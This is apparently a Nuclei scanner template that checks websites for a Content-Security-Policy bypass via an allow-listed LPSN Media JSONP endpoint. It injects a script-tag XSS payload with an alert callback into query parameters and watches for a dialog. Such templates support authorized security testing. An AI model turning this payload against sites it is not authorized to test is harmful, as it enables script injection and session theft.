lpsnmedia-accdn-csp-bypass: Content-Security-Policy Bypass - LPSN Media

id: lpsnmedia-accdn-csp-bypass

info:
  name: Content-Security-Policy Bypass - LPSN Media
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,lpsnmedia-accdn,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "lpsnmedia.net"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: lpsnmedia_accdn_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://accdn.lpsnmedia.net/api/account/1/configuration/engagement-window/window-confs/1?cb=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "lpsnmedia_accdn_csp_xss == true"
# digest: 4a0a0047304502201c469cee37ea05204d6e0d01d5b43de7a761428a1bf345f65ed8145bff3252c9022100d0989c72a61523c52f38315006903e490a1d5497d6a267dd98e06253b01fcf48:922c64590222798bb761d5b6d8e72950